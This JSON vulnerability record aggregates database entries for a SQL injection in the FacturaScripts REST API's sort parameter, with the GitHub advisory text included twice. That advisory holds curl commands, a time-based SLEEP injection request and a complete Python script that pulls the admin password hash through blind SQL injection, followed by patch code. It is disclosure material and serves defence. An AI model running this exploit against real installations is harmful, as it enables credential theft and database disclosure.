{"id":"CVE-2026-25513","aliases":["EUVD-2026-5359","GHSA-cjfx-qhwm-hf99"],"status":"published","title":"FacturaScripts has SQL Injection vulnerability in API ORDER BY Clause","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.","severity":{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00524,"percentile":0.44946,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":true,"fix_available":true},"cwes":["CWE-1286","CWE-20","CWE-89","CWE-943"],"published":"2026-02-03T18:14:43Z","modified":"2026-10-28T02:30:28Z","exploits":[{"source":"pocgithub","id":"lukasz-rybak/CVE-2026-25513","title":"lukasz-rybak/CVE-2026-25513","date":"2026-04-11","url":"https://github.com/lukasz-rybak/CVE-2026-25513"}],"fixes":[{"ecosystem":"Packagist","package":"facturascripts/facturascripts","fixed_in":["2025.81"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"facturascripts/facturascripts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.81"}]}]},{"source":"osv","ecosystem":"Packagist","package":"facturascripts/facturascripts","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2025.81"}]}],"versions":["2018.03","2018.04","2018.05","2018.11","v2018.12","v2018.13","v2018.14","v2018.15","v2018.16","v2020.01","v2020.2","v2020.3","v2020.4","v2020.51","v2020.61","v2020.71","v2020.80","v2021","v2021.1","v2021.2","v2021.4","v2021.51","v2021.71","v2021.81","v2022.06","v2022.08","v2022.2","v2022.4","v2022.51","v2023.03","v2023.08","v2023.16","v2023.21","v2024","v2024.1","v2024.2","v2024.3","v2024.5","v2024.7","v2024.8","v2024.9","v2024.91","v2024.93","v2024.94","v2024.95","v2024.96","v2025","v2025.11","v2025.2","v2025.3","v2025.4","v2025.41","v2025.43","v2025.7","v2025.71","v2025.8"]}],"products":[{"vendor":"facturascripts","product":"facturascripts"},{"vendor":"neorazorx","product":"facturascripts"}],"references":[{"url":"https://github.com/NeoRazorX/facturascripts/security/advisories/GHSA-cjfx-qhwm-hf99","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/NeoRazorX/facturascripts/commit/1b6cdfa9ee1bb3365ea4a4ad753452035a027605","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25513","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-cjfx-qhwm-hf99"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25513.json","tags":["advisory"]},{"url":"https://github.com/NeoRazorX/facturascripts","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-25513","title":"FacturaScripts has SQL Injection vulnerability in API ORDER BY Clause","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T19:59:57.19Z","modified":"2026-02-05T14:32:21.989Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-89","CWE-20","CWE-1286","CWE-943"],"updated_at":"2026-11-02T13:41:30.911526Z"}],"euvd":[{"id":"EUVD-2026-5359","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T19:59:57Z","modified":"2026-02-05T14:32:21Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-02T19:48:43.720683Z"}],"ghsa":[{"id":"GHSA-cjfx-qhwm-hf99","title":"FacturaScripts has SQL Injection in API ORDER BY Clause","description":"### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n        // If it contains parentheses, it is not escaped (VULNERABILITY!)\n        if (strpos($field, '(') !== false \u0026\u0026 strpos($field, ')') !== false) {\n            $this-\u003eorderBy[] = $field . ' ' . $order;\n            return $this;\n        }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po 'EditApiKey\\?code=\\K\\d+' | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po 'name=\"apikey\" value=\"\\K[^\"]+' | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n  \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n    \"\"\"Extract multireqtoken from any page\"\"\"\n    res = session.get(url)\n    match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', res.text)\n    return match.group(1) if match else None\n\ndef get_api_key():\n    \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    \n    # 1. Login flow\n    token = get_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get initial CSRF token\")\n        return None\n        \n    login_data = {\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD,\n        \"action\": \"login\",\n        \"multireqtoken\": token\n    }\n    res = session.post(f\"{BASE_URL}/login\", data=login_data)\n    if \"Dashboard\" not in res.text:\n        print(\"[!] Login failed!\")\n        return None\n    print(\"[+] Login successful.\")\n\n    # 2. Retrieve API Key ID from settings\n    print(\"[*] Accessing API settings...\")\n    res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n    id_match = re.search(r'EditApiKey\\?code=(\\d+)', res.text)\n    if not id_match:\n        print(\"[!] No API keys found in system!\")\n        return None\n    \n    api_id = id_match.group(1)\n    \n    # 3. Get the actual API key string\n    print(f\"[*] Retrieving API key for ID {api_id}...\")\n    res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n    key_match = re.search(r'name=\"apikey\" value=\"([^\"]+)\"', res.text)\n    if not key_match:\n        print(\"[!] Failed to extract API key from page!\")\n        return None\n        \n    return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n    \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n    headers = {\"X-Auth-Token\": api_key}\n    params = {\n        'limit': 1,\n        f'sort[{payload}]': 'ASC'\n    }\n    start = time.time()\n    try:\n        requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n    except requests.exceptions.ReadTimeout:\n        return 10.0\n    except:\n        pass\n    return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n    \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n    extracted = \"\"\n    charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n    \n    print(f\"[*] Starting extraction for query: {query}\")\n    for i in range(1, length + 1):\n        found = False\n        for char in charset:\n            # Added BINARY to force case-sensitive comparison\n            payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))\"\n            elapsed = time_based_sqli(api_key, payload)\n            \n            if elapsed \u003e= 2.0:\n                extracted += char\n                print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n                found = True\n                break\n        if not found:\n            break\n    return extracted\n\ndef main():\n    print(\"=\"*60)\n    print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n    print(\"=\"*60)\n\n    # 1. Get API Key dynamically\n    api_key = get_api_key()\n    if not api_key:\n        return\n    print(f\"[+] Using API Key: {api_key}\")\n\n    # 2. Verify vulnerability\n    print(\"[*] Verifying vulnerability...\")\n    if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n        print(\"[+] System is VULNERABLE!\")\n    else:\n        print(\"[-] System not vulnerable or API key invalid.\")\n        return\n\n    # 3. Extract Admin Password Hash\n    admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick='admin'\")\n    print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n  - User credentials and API keys\n  - Customer PII (personal identifiable information)\n  - Financial records and transaction data\n  - Business intelligence and pricing information\n  - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    // Get valid column names from model\n    $validColumns = array_keys(static::getModelFields());\n\n    foreach ($order as $key =\u003e $value) {\n        // Validate column name against whitelist\n        if (!in_array($key, $validColumns, true)) {\n            throw new \\Exception('Invalid column name for sorting: ' . $key);\n        }\n\n        // Validate sort direction (must be ASC or DESC)\n        $value = strtoupper(trim($value));\n        if (!in_array($value, ['ASC', 'DESC'], true)) {\n            throw new \\Exception('Invalid sort direction: ' . $value);\n        }\n\n        // Escape column name\n        $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n        $result .= $coma . $safeColumn . ' ' . $value;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    foreach ($order as $key =\u003e $value) {\n        // Escape identifiers and validate direction\n        $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])\n            ? strtoupper($value)\n            : 'ASC';\n\n        $result .= $coma . $safeColumn . ' ' . $safeDirection;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n    $query = self::table();\n\n    // Apply WHERE conditions\n    foreach ($where as $condition) {\n        $query-\u003ewhere($condition);\n    }\n\n    // Apply ORDER BY with validation\n    foreach ($order as $column =\u003e $direction) {\n        if (!array_key_exists($column, static::getModelFields())) {\n            continue; // Skip invalid columns\n        }\n        $query-\u003eorderBy($column, $direction);\n    }\n\n    return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n    'max_sort_fields' =\u003e 3,  // Limit number of sort fields\n    'allowed_sort_fields' =\u003e ['id', 'date', 'name'],  // Whitelist\n    'default_sort' =\u003e 'id ASC',  // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** Łukasz Rybak","status":"published","published":"2026-02-03T18:14:43Z","modified":"2026-02-04T21:57:12Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-20","CWE-89","CWE-943","CWE-1286"],"updated_at":"2026-11-02T14:39:22.637668Z"}],"nvd":[{"id":"CVE-2026-25513","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T20:16:07.973Z","modified":"2026-06-17T10:24:46.267Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"primary"}],"cwes":["CWE-20","CWE-89","CWE-943","CWE-1286"],"updated_at":"2026-11-02T14:12:05.149641Z"}],"osv":[{"id":"CVE-2026-25513","title":"FacturaScripts has SQL Injection vulnerability in API ORDER BY Clause","description":"FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the REST API that allows authenticated API users to execute arbitrary SQL queries through the sort parameter. The vulnerability exists in the ModelClass::getOrderBy() method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects all API endpoints that support sorting functionality. This issue has been patched in version 2025.81.","status":"published","published":"2026-02-04T19:59:57.19Z","modified":"2026-10-28T02:30:28.558940066Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-1286","CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T15:44:59.438965Z"},{"id":"GHSA-cjfx-qhwm-hf99","title":"FacturaScripts has SQL Injection in API ORDER BY Clause","description":"### Summary\n**FacturaScripts contains a critical SQL Injection vulnerability in the REST API** that allows authenticated API users to execute arbitrary SQL queries through the `sort` parameter. The vulnerability exists in the `ModelClass::getOrderBy()` method where user-supplied sorting parameters are directly concatenated into the SQL ORDER BY clause without validation or sanitization. This affects **all API endpoints** that support sorting functionality.\n\n---\n\n### Details\n\nThe FacturaScripts REST API exposes database models through various endpoints (e.g., `/api/3/users`, `/api/3/attachedfiles`, `/api/3/customers`). These endpoints support a `sort` parameter that allows clients to specify result ordering. The API processes this parameter through the `ModelClass::all()` method, which calls the vulnerable `getOrderBy()` function.\n\n#### Vulnerable Code Locations\n\n**1. Legacy Models:**\n**File:** `/Core/Model/Base/ModelClass.php`\n**Method:** `getOrderBy()`\nDirect concatenation of keys and values from the `$order` array.\n\n**2. Modern Models (DbQuery):**\n**File:** `/Core/DbQuery.php`\n**Method:** `orderBy()`\n**Lines:** 255-259\n```php\n        // If it contains parentheses, it is not escaped (VULNERABILITY!)\n        if (strpos($field, '(') !== false \u0026\u0026 strpos($field, ')') !== false) {\n            $this-\u003eorderBy[] = $field . ' ' . $order;\n            return $this;\n        }\n```\nThis check is intended to allow SQL functions but fails to validate them, allowing arbitrary SQL Injection.\n\n---\n\n### Proof of Concept (PoC)\n\n#### Prerequisites\n- Valid API authentication token (X-Auth-Token header)\n- Access to FacturaScripts API endpoints\n\n#### Step-by-Step Verification (CLI)\n\nSince FacturaScripts requires an existing API key, we first log in via the web interface to find a valid key.\n\n**1. Login and Retrieve a valid API key:**\nWe handle the CSRF token and session cookies to access the settings and retrieve the first available key.\n```bash\n# Login\nTOKEN=$(curl -s -L -c cookies.txt \"http://localhost:8091/login\" | grep -Po 'name=\"multireqtoken\" value=\"\\K[^\"]+' | head -n 1)\ncurl -s -b cookies.txt -c cookies.txt -X POST \"http://localhost:8091/login\" \\\n  -d \"fsNick=admin\" -d \"fsPassword=admin\" -d \"action=login\" -d \"multireqtoken=$TOKEN\"\n\n# Find the ID of the first existing API key\nAPI_ID=$(curl -s -b cookies.txt \"http://localhost:8091/EditSettings?activetab=ListApiKey\" | grep -Po 'EditApiKey\\?code=\\K\\d+' | head -n 1)\n\n# Extract the API key string using its ID\nAPI_KEY=$(curl -s -b cookies.txt \"http://localhost:8091/EditApiKey?code=$API_ID\" | grep -Po 'name=\"apikey\" value=\"\\K[^\"]+' | head -n 1)\necho \"Using API Key: $API_KEY\"\n```\n\n**2. Verify Time-Based SQL Injection:**\nUse the extracted `API_KEY` in the `X-Auth-Token` header.\n```bash\n# Normal request (baseline)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \"http://localhost:8091/api/3/users?limit=1\"\n\n# Injected request (SLEEP payload in the sort key)\ntime curl -g -s -H \"X-Auth-Token: $API_KEY\" \\\n  \"http://localhost:8091/api/3/users?limit=1\u0026sort[nick,(SELECT(SLEEP(3)))]=ASC\"\n```\n\n**Expected Result:** The injected request will take significantly longer (delay depends on database records), confirming the SQL Injection.\n\n---\n\n#### Automated Exploitation Tool\n\nThis script automatically logs into FacturaScripts, retrieves a valid API key, and performs case-sensitive data extraction using time-based blind SQL Injection.\n\n```python\nimport requests\nimport time\nimport string\nimport re\n\n# Configuration\nBASE_URL = \"http://localhost:8091\"\nUSERNAME = \"admin\"\nPASSWORD = \"admin\"\nAPI_ENDPOINT = \"/api/3/users\"\n\nsession = requests.Session()\n\ndef get_token(url):\n    \"\"\"Extract multireqtoken from any page\"\"\"\n    res = session.get(url)\n    match = re.search(r'name=\"multireqtoken\" value=\"([^\"]+)\"', res.text)\n    return match.group(1) if match else None\n\ndef get_api_key():\n    \"\"\"Logs in and retrieves the first active API key dynamically\"\"\"\n    print(f\"[*] Logging in as {USERNAME}...\")\n    \n    # 1. Login flow\n    token = get_token(f\"{BASE_URL}/login\")\n    if not token:\n        print(\"[!] Failed to get initial CSRF token\")\n        return None\n        \n    login_data = {\n        \"fsNick\": USERNAME,\n        \"fsPassword\": PASSWORD,\n        \"action\": \"login\",\n        \"multireqtoken\": token\n    }\n    res = session.post(f\"{BASE_URL}/login\", data=login_data)\n    if \"Dashboard\" not in res.text:\n        print(\"[!] Login failed!\")\n        return None\n    print(\"[+] Login successful.\")\n\n    # 2. Retrieve API Key ID from settings\n    print(\"[*] Accessing API settings...\")\n    res = session.get(f\"{BASE_URL}/EditSettings?activetab=ListApiKey\")\n    id_match = re.search(r'EditApiKey\\?code=(\\d+)', res.text)\n    if not id_match:\n        print(\"[!] No API keys found in system!\")\n        return None\n    \n    api_id = id_match.group(1)\n    \n    # 3. Get the actual API key string\n    print(f\"[*] Retrieving API key for ID {api_id}...\")\n    res = session.get(f\"{BASE_URL}/EditApiKey?code={api_id}\")\n    key_match = re.search(r'name=\"apikey\" value=\"([^\"]+)\"', res.text)\n    if not key_match:\n        print(\"[!] Failed to extract API key from page!\")\n        return None\n        \n    return key_match.group(1)\n\ndef time_based_sqli(api_key, payload):\n    \"\"\"Execute time-based SQL injection and measure response time\"\"\"\n    headers = {\"X-Auth-Token\": api_key}\n    params = {\n        'limit': 1,\n        f'sort[{payload}]': 'ASC'\n    }\n    start = time.time()\n    try:\n        requests.get(f\"{BASE_URL}{API_ENDPOINT}\", headers=headers, params=params, timeout=10)\n    except requests.exceptions.ReadTimeout:\n        return 10.0\n    except:\n        pass\n    return time.time() - start\n\ndef extract_data(api_key, query, length=60):\n    \"\"\"Extracts data char by char using time-based blind SQLi\"\"\"\n    extracted = \"\"\n    charset = \"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$./\"\n    \n    print(f\"[*] Starting extraction for query: {query}\")\n    for i in range(1, length + 1):\n        found = False\n        for char in charset:\n            # Added BINARY to force case-sensitive comparison\n            payload = f\"(SELECT IF(BINARY SUBSTRING(({query}),{i},1)='{char}',SLEEP(2),nick))\"\n            elapsed = time_based_sqli(api_key, payload)\n            \n            if elapsed \u003e= 2.0:\n                extracted += char\n                print(f\"[+] Found char at pos {i}: {char} -\u003e {extracted}\")\n                found = True\n                break\n        if not found:\n            break\n    return extracted\n\ndef main():\n    print(\"=\"*60)\n    print(\" FacturaScripts Dynamic SQLi Exfiltration Tool\")\n    print(\"=\"*60)\n\n    # 1. Get API Key dynamically\n    api_key = get_api_key()\n    if not api_key:\n        return\n    print(f\"[+] Using API Key: {api_key}\")\n\n    # 2. Verify vulnerability\n    print(\"[*] Verifying vulnerability...\")\n    if time_based_sqli(api_key, \"(SELECT SLEEP(2))\") \u003e= 2.0:\n        print(\"[+] System is VULNERABLE!\")\n    else:\n        print(\"[-] System not vulnerable or API key invalid.\")\n        return\n\n    # 3. Extract Admin Password Hash\n    admin_hash = extract_data(api_key, \"SELECT password FROM users WHERE nick='admin'\")\n    print(f\"\\n[!] FINAL ADMIN HASH: {admin_hash}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\u003cimg width=\"862\" height=\"1221\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdf5342-a48f-47f3-a3aa-68e221624273\" /\u003e\n\n---\n\n### Impact\n\n#### Data Confidentiality\n- **Complete database disclosure** through blind SQL Injection techniques\n- Extraction of sensitive data including:\n  - User credentials and API keys\n  - Customer PII (personal identifiable information)\n  - Financial records and transaction data\n  - Business intelligence and pricing information\n  - System configuration and secrets\n\n#### Who is Impacted?\n- **Organizations using FacturaScripts API** for integrations\n- **Mobile apps and third-party integrations** using the API\n- **All users whose data is accessible via API**\n- **Business partners with API access**\n\n---\n\n### Recommended Fix\n\n#### Immediate Remediation\n\n**Option 1: Implement Strict Whitelist Validation (Recommended)**\n\n```php\n// File: Core/Model/Base/ModelClass.php\n// Method: getOrderBy()\n\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    // Get valid column names from model\n    $validColumns = array_keys(static::getModelFields());\n\n    foreach ($order as $key =\u003e $value) {\n        // Validate column name against whitelist\n        if (!in_array($key, $validColumns, true)) {\n            throw new \\Exception('Invalid column name for sorting: ' . $key);\n        }\n\n        // Validate sort direction (must be ASC or DESC)\n        $value = strtoupper(trim($value));\n        if (!in_array($value, ['ASC', 'DESC'], true)) {\n            throw new \\Exception('Invalid sort direction: ' . $value);\n        }\n\n        // Escape column name\n        $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n        $result .= $coma . $safeColumn . ' ' . $value;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 2: Use Database Escaping Functions**\n\n```php\nprivate static function getOrderBy(array $order): string\n{\n    $result = '';\n    $coma = ' ORDER BY ';\n\n    foreach ($order as $key =\u003e $value) {\n        // Escape identifiers and validate direction\n        $safeColumn = self::$dataBase-\u003eescapeColumn($key);\n        $safeDirection = in_array(strtoupper($value), ['ASC', 'DESC'])\n            ? strtoupper($value)\n            : 'ASC';\n\n        $result .= $coma . $safeColumn . ' ' . $safeDirection;\n        $coma = ', ';\n    }\n\n    return $result;\n}\n```\n\n**Option 3: Use Query Builder Pattern**\n\n```php\n// Refactor to use prepared statements\npublic static function all(array $where = [], array $order = [], int $offset = 0, int $limit = 0): array\n{\n    $query = self::table();\n\n    // Apply WHERE conditions\n    foreach ($where as $condition) {\n        $query-\u003ewhere($condition);\n    }\n\n    // Apply ORDER BY with validation\n    foreach ($order as $column =\u003e $direction) {\n        if (!array_key_exists($column, static::getModelFields())) {\n            continue; // Skip invalid columns\n        }\n        $query-\u003eorderBy($column, $direction);\n    }\n\n    return $query-\u003eoffset($offset)-\u003elimit($limit)-\u003eget();\n}\n```\n\n#### API Security Best Practices\n\n```php\n// Add to API configuration\n$config = [\n    'max_sort_fields' =\u003e 3,  // Limit number of sort fields\n    'allowed_sort_fields' =\u003e ['id', 'date', 'name'],  // Whitelist\n    'default_sort' =\u003e 'id ASC',  // Safe default\n];\n```\n\n---\n\n### Credits\n\n**Discovered by:** Łukasz Rybak","status":"published","published":"2026-02-03T18:14:43Z","modified":"2026-02-04T23:11:25.28059Z","cvss":[{"version":"4.0","score":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N","level":"high"}],"cwes":["CWE-1286","CWE-20","CWE-89","CWE-943"],"updated_at":"2026-11-02T15:46:45.28161Z"}]}}
